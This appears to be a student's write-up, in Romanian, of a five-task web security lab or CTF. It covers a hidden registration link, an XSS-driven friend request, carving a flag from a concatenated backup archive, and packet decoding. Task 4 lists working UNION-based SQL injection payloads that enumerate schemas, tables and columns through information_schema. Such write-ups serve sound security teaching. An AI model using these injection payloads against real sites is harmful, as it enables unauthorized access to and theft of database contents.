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isc-next-level's Introduction

MARIN MARIUS DANIEL 332CC

Task1

  • ne conectam la dev-machine folosind ./connect.sh iar apoi vedem ce adresa ip avem
  • scanam porturile disponibile si vedem un port deschis de http la o adresa ip
  • luam adresa ip si portul de http si le dam in scriptul de ./webtunnel.sh pentru a ne conecta pe web la localhost:8080
  • pe site observam ca pagina de register e fake, si cautam cu inspect element in codul sursa al site ului si vedem ca link ul bun este /auth/register_real_one
  • ne facem cont, ne conectam si cautam iar cu inspect element in codul sursa al site ului si gasim flagul

Task2

  • din hint uri si analiza sursei paginii web observam faptul ca putem comunica cu pisica boss prin nyan cat (avem XSS simulators doar pentru ei)
  • daca ne uitam in main.js observam niste functii pe care am putea sa le apelam ca sa rezolvam acest task
  • logica este aceea de a-i trimite lui nyan cat un mesaj care sa contina un script pe care sa il trimita pentru a fi executat de catre boss (acesta sa apeleze addFriendRequest cu id ul nostru)

Task3

  • avem la boss in pagina un hint cu scriptul backup.sh care trebuie luat de pe pagina
  • observam ca scriptul combina 2 arhive intr una singura si ii pune numele cu o data generata random intr un interval
  • odata luata arhiva, se inspecteaza cu un tool pentru a vedea offset ul headerelor cum ar fi binwalk
  • se extrage cu tail offsetul arhivei flag, care se dezarhiveaza si astfel avem acces la fisierul flag.txt

Task4

  • se testeaza manual url-urile site ului si se fac incercari de SQL injection pana se observa ca vulnerabilitatea este la adresa http://localhost:8080/inside/p/

  • se incearca aflarea nr de coloane printr un payload care primeste ca arg nr coloanei pentru a vedea la ce index apare eroarea (ex: ' order by X -- ;)

  • se trimit mai multe atacuri pentru a afla informatia pas cu pas:

    1. se observa ca se afiseaza informatia la userul 3 si apar duplicate => distinct ' union select distinct 1, 2, group_concat(distinct(table_schema)), 4, 5, 6, 7, 8 from information_schema.tables -- ;

    observam web_270

    1. ' union select distinct 1, 2, group_concat(table_name), 4, 5, 6, 7, 8 from information_schema.tables where table_schema='web_270' -- ;

    observam flags64173

    1. ' union select 1, 2, group_concat(column_name), 4, 5, 6, 7, 8 from information_schema.columns where table_schema='web_270' and table_name='flags64173' -- ;

    observam zaflag

    1. ' union select 1, 2, zaflag, 4, 5, 6, 7, 8 from flags64173 -- ;

    observam flag ul

Task5

  • se scaneaza traficul cu tcpdump si se observa ca anumite pachete contin NYAN.NYAN..
  • se ia partea dintre NYAN si se decodifica cu base64

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